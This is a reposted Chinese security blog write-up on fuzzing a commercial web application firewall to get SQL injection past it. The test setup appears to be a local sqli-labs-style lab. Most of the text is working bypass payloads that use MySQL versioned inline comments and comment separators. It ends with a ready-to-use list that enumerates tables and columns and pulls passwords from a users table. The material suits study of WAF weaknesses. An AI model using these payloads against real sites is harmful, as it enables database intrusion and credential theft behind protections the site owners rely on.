首页 网络安全 安全学院 查看内容

「WEB安全」某waf实战SQL注入绕过fuzz过程

2020-1-1 18:25 |来自: 互联网 1071 0

摘要: #01 环境简介服务器:windows2008 R2软件:phpstudy20180211php 5.4.45mysql 5.5.53某锁win_3.1.18.13服务端版本#02 Fuzz过程以基于union注入为例fuzz order by过程如下:?id=1' order --+ 不拦截?id=1' order by --+ 拦截nna那应该是waf匹配了order+by?id=1' order /*!by*/ --+ 拦 ...
关键词: union select 39 20000 order id 00000 database 空格 payload

#01 环境简介

服务器:windows2008 R2

软件:phpstudy20180211

php 5.4.45

mysql 5.5.53

某锁win_3.1.18.13服务端版本

#02 Fuzz过程

以基于union注入为例

fuzz order by

过程如下:

?id=1' order --+ 不拦截

?id=1' order by --+ 拦截


nna那应该是waf匹配了order+by

?id=1' order /*!by*/ --+ 拦截

?id=1' order /*!60000by*/ 1 --+ 不拦截,但是报错


翻译过来:您的SQL语法有误; 检查与您的MySQL服务器版本相对应的手册,以在第1行的'1-'LIMIT 0,1'附近使用正确的语法

那么猜测是要低于mysql的版本吗?(我在fuzz某狗的时候里面的数字要高于50000以上,可能某锁要低于mysql版本,便随便试了个200000)

?id=1' order /*!20000by*/ 3 --+ 不拦截,且执行成功


?id=1' /*!20000order*/by 3--+ 不拦截,且执行成功

?id=1' /*!20000order*/by 4--+

用过狗payload去试试,首先替换空格

?id=1' order/**/by --+ 拦截

?id=1' order/*!123*/by --+ 不拦截,但是报错

换成过够payload

?id=1' order/*!60000bbb*/by 3 --+ 不拦截,成功绕过

?id=1' order/*!60000bbb*/by 4 --+ 不拦截,报错

过狗payload在这个位置也是可行的。

fuzz union select 1,2,database()

fuzz过程如下

?id=-1' union --+ 不拦截,报错…

?id=-1' union select --+ 拦截了,同样考虑用内联注释的方式绕过

?id=-1' union /!20000select*/ --+ 不拦截,报错…

?id=-1' union /!20000select*/ 1,2,3--+ 不拦截,报错,这里的报错就跟前面不一样了,前面没加参数肯定错,但是这里加了,报错,说明有问题。

内联注释恰面的union尝试一下。

?id=-1' /*!20000union*/ select 1,2,3--+ 拦了

?id=-1' /*!20000union select*/ 1,2,3--+ 拦了

?id=-1' /*!20000union select 1,2,3*/--+ 拦了

那就考虑用union all select

?id=-1' /*!20000union all select 1,2,3*/--+

还是拦截了,在考虑换个注释的位置

?id=-1' union /*!20000all select 1,2,3*/--+ ok,nice没拦,执行成功

然后替换参数

?id=-1' union /*!20000all select 1,2,database()*/--+ ok

  • 给我拦了,应该是database()的原因 先加个空格再说

?id=-1' union /*!20000all select 1,2,database ()*/--+

ok 空格绕过了

还可以考虑其他分隔符:

?id=-1' union /*!20000all select 1,2,database/**/()*/--+

同样可以达到绕过的目的

后面直接贴payload吧

1.?id=1' /*!20000order*/by 3--+
2.?id=-1' union /*!00000all select*/ 1,2,3--+
3.?id=-1' union /*!00000all select*/ 1,database/**/(),3--+
4.?id=-1' union /*!00000all*/ /*!00000select 1,2,table_name from*/ information_schema.tables where table_schema='security' limit 3,1 --+
5.?id=-1' union /*!00000all*/ /*!00000select 1,2,column_name from*/ information_schema.columns where table_name='users' limit 2,1 --+
6.?id=-1' union /*!00000all*/ /*!00000select 1,2,password from*/ users limit 1,1 --+

本文出处: https://www.toutiao.com/a6776148345564955140/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手
1

鲜花

鸡蛋

刚表态过的朋友 (1 人)

最新评论

返回顶部